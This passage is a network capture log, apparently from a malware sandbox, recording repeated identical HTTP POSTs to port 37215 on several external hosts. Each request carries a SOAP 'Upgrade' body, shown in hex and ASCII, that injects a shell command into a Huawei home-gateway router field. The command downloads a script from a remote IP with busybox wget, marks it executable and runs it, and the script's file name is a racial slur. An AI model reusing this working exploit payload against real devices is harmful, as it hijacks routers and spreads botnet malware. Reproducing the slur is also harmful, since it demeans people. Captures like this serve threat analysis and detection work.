HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:12.000243902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.15	46782	45.207.143.94	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:40.432250023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:41.985131025 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:43.808998108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:47.425061941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.848804951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.440282106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.15	52862	45.207.128.44	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:40.432369947 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:41.985047102 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
